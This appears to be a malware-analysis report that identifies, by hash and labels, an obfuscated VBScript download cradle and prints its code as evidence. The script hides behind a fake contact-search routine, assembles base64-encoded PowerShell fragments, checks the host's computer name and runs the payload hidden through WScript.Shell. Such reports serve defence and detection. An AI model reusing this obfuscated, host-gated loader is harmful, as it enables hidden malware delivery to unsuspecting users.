09e0477006f00688c24664289791de34fdea4c6bb128ccba07d797a4379f2136
Obfuscated PowerShell download cradle
Host-gated VBScript hidden encoded stagerHostname-gated fragmented hidden VBScript loader
SHA-25609e0477006f00688c24664289791de34fdea4c6bb128ccba07d797a4379f2136
MaleculeO₄(AlC₂As₄Xe)H₃(DbOs₃Po₂)Md₂(Pt)
Evidence
1 'eedfffdfdss
2Sub SearchContact()
3 name = InputBox("Enter name to search:", "Search Contact")
4 found = False
5 For i = 0 To 4
6 If LCase(kontakt(i, 0)) = LCase(name) Then
7 MsgBox "Found: " & kontakt(i, 0) & " - " & kontakt(i, 1), vbInformation
8 found = True
9 Exit For
10 End If
11 Next
12 If Not found Then
13 MsgBox "Contact not found!", vbExclamation
14 End If
15End Sub
16dberimdhbpg = rRefgisrehdfgddfffffdhgjg211
17QpTfkLo = LCase("WhfdPfeR")
18BxEfvKm = Len("phdffom")
19BdxfEfdvKm = Len("pdfddddhfom")
20Dim AohpdIefk(9)
21Public Const kFnddhhgc = "fSIddrab"
22nhIkbrbiFmSbnpFSfkdAgSIhjikaAdIporemmaidmdFmifoobdAiobInokarbakbrhkdkbkebSkkbAAedcScFibmSpgbakckim = "f" & LenB("caIIcah") & "hfg"
23'rhopgkk mdFAbheh
24Dim gSmddjei(9)
25Public Const FacfdAkaS = "SIebkFkd"
26poeddiapdrIAgeAmAkoeemnimAcoSfdcdpemaorkboaekckImkddgm …
26:96… & LenB("kjmdpmjo") & "hfg"
27'Akgagar IeImiih
28Dim FkddSmri(8)
29Public Const jFmcSof = "hrkmnkj"
30bpkepSchejhineSmmnmoaidebcmmbiFdkmonkIeIfcrkdobbheSArcikm …
34:110… IcAk") & "hfg"
35'hkpdied aibdSmabr
36Call Ugfdfging("$ond" & "oiw " & mAdIdfII(61) & "'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABv")
37Call Ugfdfging("AGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbA")
38Call Ugfdfging("AgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbA")
39Call Ugfdfging("BUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAZgB1AG4AYwB0AGkAbwB")
40'jFkpjSgk mbkdpkb
41Dim oigSFAnm(9)
42Public Const jomfAcAn = "mFnjkbFaa"
43gAdbapkjahmAnndmbfboIioAnpfcbjmmgSpaIIiSddFIbphhInpmmjgFhmnjinhpdipnAIchmbkAmdmAgAinIkp = "f" & LenB("mrrkFeSpo") & "hfg"
44'mfSrSIj ajgSIShi
45Dim napckedm(9)
46Public Const crImebfc = "FkmkgmdA"
47mnicmkmFihdFomdjkimSeAeAeechdFcrmrpAmrikmFkmFhnagkIFSdr …
361:48… tringConverter(108) )
362'Call Ugfdfging(".e" & mAdIdfII(120) & "e $OWjuxD")
363Call Ugfdfging("& ([scriptblock]::Create($OWjuxD))") 'remove this, enable others
364'Call Ugfdfging(" .e" & mAdIdfII(120) & "e -wi" & "ndo" & "wsty" & "l" & mAdIdfII(101) & " h" & "i" & "d" & mAdIdfII(100) & mAdIdfII(100) & "en -" & "e" & mAdIdfII(120) & "ec") ' remove space before .e
365'Brugervenligere = Trim("Preftures")
366Set wshNetwork = WScript.CreateObject( "WScript." & "Network" )
367'Phfaedodspfore! crizzling
368'Gafucdfho mooafnwalks unobsequiousness outwitter106
369'Scfiadfge corfpuscular hained
370'Quatffch anfavisningsret29
371Const Micfradfffoffafspace = "Pakfddfafakefdweed kakados,"
372'Const lXp_v729sz = &H4E9A21B4
373str = wshNetwork.ComputerName
374'Const qRy_m118rt = &H2F81D6C0
375Const bNk_w904xf = &H5D3A09E1
⋯5 lines
381WScript.Quit
382 End If
383 On Error Resume Next
384 Dim shell, env, path, total
385 Set shell = CreateObject("WScript.Shell")
386 Set env = shell.Environment("PROCESS")
387 path = env("Path")
388 total = Left(path, 0) & "WScript" & "." & "Shell"
389 Sub Dispatch(p)
390 Set runtimeHandle = CreateObject(p)
391 End Sub
392 If Not IsObject(runtimeHandle) Then
393 Call Dispatch(total)
394 End If
395 If IsObject(runtimeHandl …
398:15… ormatCurrency(4254)
399TempValue = Right("invisible", 3)
400SpacePadding = Space(10)
401ReverseCmd = StrReverse("echo")
402runtimeHandle.Run kenckAIaIoFS, 0, True
403Else
404 WScript.Echo "Cannot create shell object"
405End If
406'Utility functions definition
407function stringConverter (charCode)
408stringConverter = chr(charCode)
409end function
410Function mAdIdfII(kmkimShmkp)
411'Dispdauperise yourselves langtfra
412mAdIdfII = "_"
413cultirostralrigmorsdo …